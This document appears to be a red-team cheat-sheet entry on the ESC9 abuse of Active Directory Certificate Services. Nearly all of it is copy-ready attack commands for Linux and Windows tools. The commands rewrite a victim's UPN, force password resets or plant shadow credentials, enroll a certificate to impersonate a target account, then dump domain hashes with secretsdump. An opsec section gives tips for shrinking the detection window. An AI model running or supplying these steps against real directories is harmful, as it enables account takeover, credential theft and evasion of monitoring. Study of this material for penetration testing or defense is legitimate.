ADCSESC9a

ESC9a: No security extension (CT_FLAG_NO_SECURITY_EXTENSION) on template + GenericWrite on a user account β€” change the victim's UPN to match a target user, enroll a cert as the victim, reset UPN, then authenticate as the target.

Applies to: Principals with GenericWrite (or WriteSPN/AddKeyCredentialLink/ForceChangePassword) on a user account β†’ vulnerable template (no szOID_NTDS_CA_SECURITY_EXT) β†’ Enterprise CA


Linux Abuse

certipy-ad

# Step 1: Find vulnerable templates
certipy-ad find -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> -vulnerable -stdout

# Step 2: Save victim's current UPN (for restore)
# Check with: ldapsearch or BloodHound

# Step 3: Change victim's UPN to target user's UPN
certipy-ad account update -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
  -user <victim-user> -upn <target-user>@<domain>

# Step 4: Get credentials for victim account
# Option A β€” Shadow Credentials (if AddKeyCredentialLink on victim)
certipy-ad shadow auto -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
  -account <victim-user>
# Outputs victim hash/TGT

# Option B β€” Force password reset (if ForceChangePassword)
net rpc password '<victim-user>' '<new-password>' -U '<domain>/<username>%<password>' -S <dc-ip>

# Step 5: Enroll cert as victim (UPN now points to target)
certipy-ad req -u <victim-user>@<domain> -p '<victim-password>' -dc-ip <dc-ip> \
  -ca '<ca>' -target <ca-host> -template '<template>'
# Or use victim hash: -hashes ':<victim-ntlm>'

# Step 6: Restore victim's UPN (critical β€” prevents lockout detection)
certipy-ad account update -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
  -user <victim-user> -upn <victim-user>@<domain>

# Step 7: Authenticate as target
certipy-ad auth -pfx <target-user>.pfx -dc-ip <dc-ip>

# Step 8: PTH
secretsdump.py -hashes ':<ntlm-hash>' '<domain>/<target-user>@<dc-ip>'

Set mail attribute if template requires it

echo -e "dn: <victim-dn>\nchangetype: modify\nreplace: mail\nmail: dummy@mail.com" \
  | ldapmodify -x -D '<attacker-dn>' -w '<password>' -h <dc-ip>

Windows Abuse

PowerView + Certify.exe + Rubeus

# Step 1: Save victim's current UPN
Get-DomainObject -Identity <victim-user> -Properties userprincipalname

# Step 2: Change victim UPN to target
Set-DomainObject -Identity <victim-user> -Set @{'userprincipalname'='<target-user>@<domain>'}

# Step 3: Set mail attribute if needed
Set-DomainObject -Identity <victim-user> -Set @{'mail'='dummy@mail.com'}

# Step 4: Get victim session (shadow creds / password reset / kerberoast)
# Shadow creds example:
Whisker.exe add /target:<victim-user>
Rubeus.exe asktgt /user:<victim-user> /certificate:<pfx-base64> /domain:<domain> /ptt
# Step 5: Enroll cert as victim
Certify.exe request /ca:<ca-host>\<ca> /template:<template>

# Step 6: Restore victim UPN
Set-DomainObject -Identity <victim-user> -Set @{'userprincipalname'='<victim-user>@<domain>'}

# Step 7: TGT as target
Rubeus.exe asktgt /user:<target-user> /domain:<domain> /certificate:<pfx-base64> /ptt

Opsec

  • UPN change is logged in AD (Directory Service Changes, Event ID 4738 β€” user account changed).
  • Restore the UPN immediately after enrollment to minimize detection window.
  • CA retains the issued cert; requesting principal (victim account) and subject (target UPN) are both visible.